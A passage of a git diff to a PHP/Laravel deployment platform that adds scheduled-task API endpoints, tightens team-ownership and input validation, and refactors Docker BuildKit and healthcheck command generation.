OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Scheduled task deleted.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Scheduled task deleted.'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function delete_scheduled_task_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = $this->resolveService($request, $teamId); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->deleteTask($request, $service); + } + + #[OA\Get( + summary: 'List Executions', + description: 'List all executions for a scheduled task on a service.', + path: '/services/{uuid}/scheduled-tasks/{task_uuid}/executions', + operationId: 'list-scheduled-task-executions-by-service-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Scheduled Tasks'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the service.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'task_uuid', + in: 'path', + description: 'UUID of the scheduled task.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Get all executions for a scheduled task.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/ScheduledTaskExecution') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function executions_by_service_uuid(Request $request): \Illuminate\Http\JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $service = $this->resolveService($request, $teamId); + if (! $service) { + return response()->json(['message' => 'Service not found.'], 404); + } + + return $this->getExecutions($request, $service); + } +} diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index 2ee5455b6..29c6b854a 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -290,9 +290,12 @@ public function domains_by_server(Request $request) } $uuid = $request->get('uuid'); if ($uuid) { - $domains = Application::getDomainsByUuid($uuid); + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $uuid)->first(); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } - return response()->json(serializeApiResponse($domains)); + return response()->json(serializeApiResponse($application->fqdns)); } $projects = Project::where('team_id', $teamId)->get(); $domains = collect(); @@ -519,9 +522,13 @@ public function create_server(Request $request) if (! $privateKey) { return response()->json(['message' => 'Private key not found.'], 404); } - $allServers = ModelsServer::whereIp($request->ip)->get(); - if ($allServers->count() > 0) { - return response()->json(['message' => 'Server with this IP already exists.'], 400); + $foundServer = ModelsServer::whereIp($request->ip)->first(); + if ($foundServer) { + if ($foundServer->team_id === $teamId) { + return response()->json(['message' => 'A server with this IP/Domain already exists in your team.'], 400); + } + + return response()->json(['message' => 'A server with this IP/Domain is already in use by another team.'], 400); } $proxyType = $request->proxy_type ? str($request->proxy_type)->upper() : ProxyTypes::TRAEFIK->value; diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 27fdb1ba8..751f5824a 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -1141,10 +1141,7 @@ public function envs(Request $request) new OA\MediaType( mediaType: 'application/json', schema: new OA\Schema( - type: 'object', - properties: [ - 'message' => ['type' => 'string', 'example' => 'Environment variable updated.'], - ] + ref: '#/components/schemas/EnvironmentVariable' ) ), ] @@ -1187,6 +1184,7 @@ public function update_env_by_uuid(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { @@ -1202,7 +1200,19 @@ public function update_env_by_uuid(Request $request) return response()->json(['message' => 'Environment variable not found.'], 404); } - $env->fill($request->all()); + $env->value = $request->value; + if ($request->has('is_literal')) { + $env->is_literal = $request->is_literal; + } + if ($request->has('is_multiline')) { + $env->is_multiline = $request->is_multiline; + } + if ($request->has('is_shown_once')) { + $env->is_shown_once = $request->is_shown_once; + } + if ($request->has('comment')) { + $env->comment = $request->comment; + } $env->save(); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); @@ -1265,10 +1275,8 @@ public function update_env_by_uuid(Request $request) new OA\MediaType( mediaType: 'application/json', schema: new OA\Schema( - type: 'object', - properties: [ - 'message' => ['type' => 'string', 'example' => 'Environment variables updated.'], - ] + type: 'array', + items: new OA\Items(ref: '#/components/schemas/EnvironmentVariable') ) ), ] @@ -1430,6 +1438,7 @@ public function create_env(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', ]); if ($validator->fails()) { @@ -1447,7 +1456,14 @@ public function create_env(Request $request) ], 409); } - $env = $service->environment_variables()->create($request->all()); + $env = $service->environment_variables()->create([ + 'key' => $key, + 'value' => $request->value, + 'is_literal' => $request->is_literal ?? false, + 'is_multiline' => $request->is_multiline ?? false, + 'is_shown_once' => $request->is_shown_once ?? false, + 'comment' => $request->comment ?? null, + ]); return response()->json($this->removeSensitiveData($env))->setStatusCode(201); } diff --git a/app/Http/Middleware/CheckForcePasswordReset.php b/app/Http/Middleware/CheckForcePasswordReset.php index 78b1f896c..c857cb836 100644 --- a/app/Http/Middleware/CheckForcePasswordReset.php +++ b/app/Http/Middleware/CheckForcePasswordReset.php @@ -25,7 +25,7 @@ public function handle(Request $request, Closure $next): Response } $force_password_reset = auth()->user()->force_password_reset; if ($force_password_reset) { - if ($request->routeIs('auth.force-password-reset') || $request->path() === 'force-password-reset' || $request->path() === 'livewire/update' || $request->path() === 'logout') { + if ($request->routeIs('auth.force-password-reset') || $request->path() === 'force-password-reset' || $request->path() === 'two-factor-challenge' || $request->path() === 'livewire/update' || $request->path() === 'logout') { return $next($request); } diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index eaee7e221..dfcf9ee09 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -171,6 +171,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue private bool $dockerBuildkitSupported = false; + private bool $dockerSecretsSupported = false; + private bool $skip_build = false; private Collection|string $build_secrets; @@ -251,7 +253,7 @@ public function __construct(public int $application_deployment_queue_id) } if ($this->application->build_pack === 'dockerfile') { if (data_get($this->application, 'dockerfile_location')) { - $this->dockerfile_location = $this->application->dockerfile_location; + $this->dockerfile_location = $this->validatePathField($this->application->dockerfile_location, 'dockerfile_location'); } } } @@ -381,13 +383,6 @@ public function handle(): void private function detectBuildKitCapabilities(): void { - // If build secrets are not enabled, skip detection and use traditional args - if (! $this->application->settings->use_build_secrets) { - $this->dockerBuildkitSupported = false; - - return; - } - $serverToCheck = $this->use_build_server ? $this->build_server : $this->server; $serverName = $this->use_build_server ? "build server ({$serverToCheck->name})" : "deployment server ({$serverToCheck->name})"; @@ -403,53 +398,55 @@ private function detectBuildKitCapabilities(): void if ($majorVersion < 18 || ($majorVersion == 18 && $minorVersion < 9)) { $this->dockerBuildkitSupported = false; - $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit (requires 18.09+). Build secrets feature disabled."); + $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit (requires 18.09+)."); return; } - $buildkitEnabled = instant_remote_process( + // Check buildx availability (always installed by Coolify on Docker 24.0+) + $buildxAvailable = instant_remote_process( ["docker buildx version >/dev/null 2>&1 && echo 'available' || echo 'not-available'"], $serverToCheck ); - if (trim($buildkitEnabled) !== 'available') { + if (trim($buildxAvailable) === 'available') { + $this->dockerBuildkitSupported = true; + $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit and Buildx detected on {$serverName}."); + } else { + // Fallback: test DOCKER_BUILDKIT=1 support via --progress flag $buildkitTest = instant_remote_process( - ["DOCKER_BUILDKIT=1 docker build --help 2>&1 | grep -q 'secret' && echo 'supported' || echo 'not-supported'"], + ["DOCKER_BUILDKIT=1 docker build --help 2>&1 | grep -q '\\-\\-progress' && echo 'supported' || echo 'not-supported'"], $serverToCheck ); if (trim($buildkitTest) === 'supported') { $this->dockerBuildkitSupported = true; - $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit secrets support detected on {$serverName}."); - $this->application_deployment_queue->addLogEntry('Build secrets are enabled and will be used for enhanced security.'); + $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit support detected on {$serverName}."); } else { $this->dockerBuildkitSupported = false; - $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not have BuildKit secrets support."); - $this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but not supported. Using traditional build arguments.'); + $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit. Build output progress will be limited."); } - } else { - // Buildx is available, which means BuildKit is available - // Now specifically test for secrets support + } + + // If build secrets are enabled and BuildKit is available, verify --secret flag support + if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported) { $secretsTest = instant_remote_process( ["docker build --help 2>&1 | grep -q 'secret' && echo 'supported' || echo 'not-supported'"], $serverToCheck ); if (trim($secretsTest) === 'supported') { - $this->dockerBuildkitSupported = true; - $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit and Buildx detected on {$serverName}."); + $this->dockerSecretsSupported = true; $this->application_deployment_queue->addLogEntry('Build secrets are enabled and will be used for enhanced security.'); } else { - $this->dockerBuildkitSupported = false; - $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with Buildx on {$serverName}, but secrets not supported."); - $this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but not supported. Using traditional build arguments.'); + $this->dockerSecretsSupported = false; + $this->application_deployment_queue->addLogEntry("Docker on {$serverName} does not support build secrets. Using traditional build arguments."); } } } catch (\Exception $e) { $this->dockerBuildkitSupported = false; + $this->dockerSecretsSupported = false; $this->application_deployment_queue->addLogEntry("Could not detect BuildKit capabilities on {$serverName}: {$e->getMessage()}"); - $this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but detection failed. Using traditional build arguments.'); } } @@ -571,7 +568,7 @@ private function deploy_dockerimage_buildpack() private function deploy_docker_compose_buildpack() { if (data_get($this->application, 'docker_compose_location')) { - $this->docker_compose_location = $this->application->docker_compose_location; + $this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location'); } if (data_get($this->application, 'docker_compose_custom_start_command')) { $this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command; @@ -632,7 +629,7 @@ private function deploy_docker_compose_buildpack() // For raw compose, we cannot automatically add secrets configuration // User must define it manually in their docker-compose file - if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) { + if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) { $this->application_deployment_queue->addLogEntry('Build secrets are configured. Ensure your docker-compose file includes build.secrets configuration for services that need them.'); } } else { @@ -653,7 +650,7 @@ private function deploy_docker_compose_buildpack() } // Add build secrets to compose file if enabled and BuildKit is supported - if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) { + if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) { $composeFile = $this->add_build_secrets_to_compose($composeFile); } @@ -689,8 +686,6 @@ private function deploy_docker_compose_buildpack() // Inject build arguments after build subcommand if not using build secrets if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) { $build_args_string = $this->build_args->implode(' '); - // Escape single quotes for bash -c context used by executeInDocker - $build_args_string = str_replace("'", "'\\''", $build_args_string); // Inject build args right after 'build' subcommand (not at the end) $original_command = $build_command; @@ -702,9 +697,17 @@ private function deploy_docker_compose_buildpack() } } - $this->execute_remote_command( - [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), 'hidden' => true], - ); + try { + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), 'hidden' => true], + ); + } catch (\RuntimeException $e) { + if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) { + throw new DeploymentException("Custom build command failed due to shell syntax error. Please check your command for special characters (like unmatched quotes): {$this->docker_compose_custom_build_command}"); + } + + throw $e; + } } else { $command = "{$this->coolify_variables} docker compose"; // Prepend DOCKER_BUILDKIT=1 if BuildKit is supported @@ -721,8 +724,6 @@ private function deploy_docker_compose_buildpack() if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) { $build_args_string = $this->build_args->implode(' '); - // Escape single quotes for bash -c context used by executeInDocker - $build_args_string = str_replace("'", "'\\''", $build_args_string); $command .= " {$build_args_string}"; $this->application_deployment_queue->addLogEntry('Adding build arguments to Docker Compose build command.'); } @@ -768,9 +769,18 @@ private function deploy_docker_compose_buildpack() ); $this->write_deployment_configurations(); - $this->execute_remote_command( - [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true], - ); + + try { + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true], + ); + } catch (\RuntimeException $e) { + if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) { + throw new DeploymentException("Custom start command failed due to shell syntax error. Please check your command for special characters (like unmatched quotes): {$this->docker_compose_custom_start_command}"); + } + + throw $e; + } } else { $this->write_deployment_configurations(); $this->docker_compose_location = '/docker-compose.yaml'; @@ -831,7 +841,7 @@ private function deploy_dockerfile_buildpack() $this->server = $this->build_server; } if (data_get($this->application, 'dockerfile_location')) { - $this->dockerfile_location = $this->application->dockerfile_location; + $this->dockerfile_location = $this->validatePathField($this->application->dockerfile_location, 'dockerfile_location'); } $this->prepare_builder_image(); $this->check_git_if_build_needed(); @@ -1800,7 +1810,8 @@ private function health_check() $counter = 1; $this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.'); if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) { - $this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}"); + $healthcheckLabel = $this->application->health_check_type === 'cmd' ? 'Healthcheck command' : 'Healthcheck URL'; + $this->application_deployment_queue->addLogEntry("{$healthcheckLabel} (inside the container): {$this->full_healthcheck_url}"); } $this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck."); $sleeptime = 0; @@ -2758,29 +2769,55 @@ private function generate_local_persistent_volumes_only_volume_names() private function generate_healthcheck_commands() { + // Handle CMD type healthcheck + if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) { + $this->full_healthcheck_url = $this->application->health_check_command; + + return $this->application->health_check_command; + } + + // HTTP type healthcheck (default) if (! $this->application->health_check_port) { - $health_check_port = $this->application->ports_exposes_array[0]; + $health_check_port = (int) $this->application->ports_exposes_array[0]; } else { - $health_check_port = $this->application->health_check_port; + $health_check_port = (int) $this->application->health_check_port; } if ($this->application->settings->is_static || $this->application->build_pack === 'static') { $health_check_port = 80; } - if ($this->application->health_check_path) { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path}"; - $generated_healthchecks_commands = [ - "curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || exit 1", - ]; + + $method = $this->sanitizeHealthCheckValue($this->application->health_check_method, '/^[A-Z]+$/', 'GET'); + $scheme = $this->sanitizeHealthCheckValue($this->application->health_check_scheme, '/^https?$/', 'http'); + $host = $this->sanitizeHealthCheckValue($this->application->health_check_host, '/^[a-zA-Z0-9.\-_]+$/', 'localhost'); + $path = $this->application->health_check_path + ? $this->sanitizeHealthCheckValue($this->application->health_check_path, '#^[a-zA-Z0-9/\-_.~%]+$#', '/') + : null; + + $url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/')); + $method = escapeshellarg($method); + + if ($path) { + $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}{$path}"; } else { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/"; - $generated_healthchecks_commands = [ - "curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || exit 1", - ]; + $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}/"; } + $generated_healthchecks_commands = [ + "curl -s -X {$method} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1", + ]; + return implode(' ', $generated_healthchecks_commands); } + private function sanitizeHealthCheckValue(string $value, string $pattern, string $default): string + { + if (preg_match($pattern, $value)) { + return $value; + } + + return $default; + } + private function pull_latest_image($image) { $this->application_deployment_queue->addLogEntry("Pulling latest image ($image) from the registry."); @@ -2817,7 +2854,11 @@ private function build_static_image() $nginx_config = base64_encode(defaultNginxConfiguration()); } } - $build_command = "docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile --progress plain -t {$this->production_image_name} {$this->workdir}"; + if ($this->dockerBuildkitSupported) { + $build_command = "DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile --progress plain -t {$this->production_image_name} {$this->workdir}"; + } else { + $build_command = "docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile -t {$this->production_image_name} {$this->workdir}"; + } $base64_build_command = base64_encode($build_command); $this->execute_remote_command( [ @@ -2857,21 +2898,19 @@ private function wrap_build_command_with_env_export(string $build_command): stri private function build_image() { // Add Coolify related variables to the build args/secrets - if ($this->dockerBuildkitSupported) { - // Coolify variables are already included in the secrets from generate_build_env_variables - // build_secrets is already a string at this point - } else { + if (! $this->dockerBuildkitSupported) { // Traditional build args approach - generate COOLIFY_ variables locally - // Generate COOLIFY_ variables locally for build args $coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true); $coolify_envs->each(function ($value, $key) { $this->build_args->push("--build-arg '{$key}'"); }); - $this->build_args = $this->build_args instanceof \Illuminate\Support\Collection - ? $this->build_args->implode(' ') - : (string) $this->build_args; } + // Always convert build_args Collection to string for command interpolation + $this->build_args = $this->build_args instanceof \Illuminate\Support\Collection + ? $this->build_args->implode(' ') + : (string) $this->build_args; + $this->application_deployment_queue->addLogEntry('----------------------------------------'); if ($this->disableBuildCache) { $this->application_deployment_queue->addLogEntry('Docker build cache is disabled. It will not be used during the build process.'); @@ -2899,7 +2938,7 @@ private function build_image() executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"), 'hidden' => true, ]); - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the nixpacks Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; @@ -2907,9 +2946,8 @@ private function build_image() } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); - ray($build_command); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); } } else { $this->execute_remote_command([ @@ -2919,18 +2957,16 @@ private function build_image() executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"), 'hidden' => true, ]); - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the nixpacks Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->build_image_name} {$this->workdir}"); } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets - $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); - $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); } } @@ -2952,7 +2988,7 @@ private function build_image() $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]); } else { // Dockerfile buildpack - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; @@ -2963,19 +2999,17 @@ private function build_image() } } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets - $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); - $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } } else { // Traditional build with args if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); @@ -3010,7 +3044,11 @@ private function build_image() $nginx_config = base64_encode(defaultNginxConfiguration()); } } - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + if ($this->dockerBuildkitSupported) { + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + } else { + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} -t {$this->production_image_name} {$this->workdir}"); + } $base64_build_command = base64_encode($build_command); $this->execute_remote_command( [ @@ -3035,7 +3073,7 @@ private function build_image() } else { // Pure Dockerfile based deployment if ($this->application->dockerfile) { - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; @@ -3044,12 +3082,19 @@ private function build_image() } else { $build_command = "DOCKER_BUILDKIT=1 docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}"; } - } else { - // Traditional build with args + } elseif ($this->dockerBuildkitSupported) { + // BuildKit without secrets if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + } + } else { + // Traditional build with args (no --progress for legacy builder compatibility) + if ($this->force_rebuild) { + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}"); + } else { + $build_command = $this->wrap_build_command_with_env_export("docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); @@ -3079,18 +3124,16 @@ private function build_image() executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"), 'hidden' => true, ]); - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the nixpacks Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}"); } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets - $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); - $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } else { - $build_command = 